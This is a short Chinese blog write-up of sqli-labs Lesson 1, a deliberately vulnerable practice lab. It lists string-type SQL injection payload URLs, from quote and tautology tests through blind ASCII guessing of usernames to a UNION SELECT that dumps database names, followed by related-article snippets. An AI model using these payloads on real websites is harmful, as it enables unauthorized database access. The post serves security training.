sqli-labs lesson1字符型注入

r囧r小猫 2022-08-23 00:34 156阅读 0赞

1.注入测试

http://172.16.19.146:8080/sqli-labs-master/Less-1/?id=1'

![这里写图片描述][20160602154223328]

http://172.16.19.146:8080/sqli-labs-master/Less-1/?id=1' or '1'='1

![这里写图片描述][20160602154306279]

http://172.16.19.146:8080/sqli-labs-master/Less-1/?id=1' and '1'='2

![这里写图片描述][20160602154437201]  
数字型注入不能使用。考虑猜解,下面也有更好的方法

http://172.16.19.146:8080/sqli-labs-master/Less-1/?id=1' and (select * from Information_schema)>0 and ''='

![这里写图片描述][20160602154518145]  
猜出数据库  
爆出用户名

http://172.16.19.146:8080/sqli-labs-master/Less-1/?id=1' and (select count(*) from users where ascii(mid(username,1,1))=68) and ''='

方法2直接爆出

http://172.16.19.146:8080/sqli-labs-master/Less-1/?id=88888' union select 4,group_concat(schema_name),8 from information_schema.schemata -- and ''='

![这里写图片描述][20160602190219199]

余下步骤见lesson2

[20160602154223328]: /images/20220722/393cb0d933174d0a99f6d324550580b0.png
[20160602154306279]: /images/20220722/def236ec76944d36aeb5d2497ab162be.png
[20160602154437201]: /images/20220722/55809090055e4e1b8e3fe832be94b3f6.png
[20160602154518145]: /images/20220722/be7b719578f243dab429958578474a27.png
[20160602190219199]: /images/20220722/9d1386c678634e0bbbef75e5aaf3ae83.png

发表评论取消回复

表情：

评论列表（有 0 条评论，156人围观）

还没有评论，来说两句吧...

相关阅读

相关 CTFHub | 字符型注入

0x00 前言 CTFHub 专注网络安全、信息安全、白帽子技术的在线学习，实训平台。提供优质的赛事及学习服务，拥有完善的题目环境及配套 writeup ，降低 CTF

谁借莪１个温暖的怀抱￠/ 2024年04月01日 11:12/ 0 赞/ 76 阅读

相关 Lesson 1 --- A private conversation

Last week I went to the theatre. 上周末我去剧院看戏。 I had a very good seat. 我有一个很好的座位。 T

偏执的太偏执、/ 2023年02月22日 05:19/ 0 赞/ 16 阅读

相关网络安全-sqlmap实战之sqlilabs-Less1

目录类型注入判断 \-u参数 -dbs参数爆数据库 -tables参数爆表 \-columns爆列 -dump爆数据查看源代码查看数据库 --

傷城~/ 2023年02月20日 04:46/ 0 赞/ 20 阅读

相关 php字符型和数字型的注入,如何判断是字符型注入还是整形注入

1、数字型注入当输入的参数为整形时，如果存在注入漏洞，可以认为是数字型注入。测试步骤： (1) 加单引号，URL：www.text.com/text.php?id=3

红太狼/ 2023年01月14日 09:59/ 0 赞/ 200 阅读

相关 golang的lesson 1-helloworld

直接上代码： package main import "fmt" func main() { fmt.Println(

谁借莪１个温暖的怀抱￠/ 2022年12月17日 05:18/ 0 赞/ 146 阅读

相关 sqli-labs lesson1字符型注入

1.注入测试 http://172.16.19.146:8080/sqli-labs-master/Less-1/?id=1' ![这里写图片描述][2016060

r囧r小猫/ 2022年08月23日 00:34/ 0 赞/ 157 阅读

相关 lesson1

一、数据类型 1、常用四种数据类型：int、float、真值（True/False）、字符串 2、显示类型的函数：type() Eg.1 <table> <tbo

╰半夏微凉°/ 2022年08月21日 05:41/ 0 赞/ 193 阅读

相关 SQL注入系列之PHP+Mysql手动注入(二)----字符型

一、什么是字符型注入以及原理 1）字符型注入简介字符串或串(String)是由数字、字母、下划线组成的一串字符。一般记为 s=“a1 a2 ···an

约定不等于承诺〃/ 2022年07月10日 04:19/ 0 赞/ 174 阅读

相关 Lesson1、C++基本语法

应部门领导要求，需要带两位同事学习C++，特准备下，将基础知识罗列了下，正好也借此机会自己也将基础知识再回顾回顾。 1、C++的输入和输出： (1)使用cin and co

￡神魔★判官ぃ/ 2022年04月15日 06:22/ 0 赞/ 313 阅读

相关 Lesson1 认识html

html中的标签 <!DOCTYPE> Docment Type HyperText Mark-up Language 文档类型超文本标记性语言。 html5的标准页面

水深无声/ 2021年09月29日 02:54/ 0 赞/ 384 阅读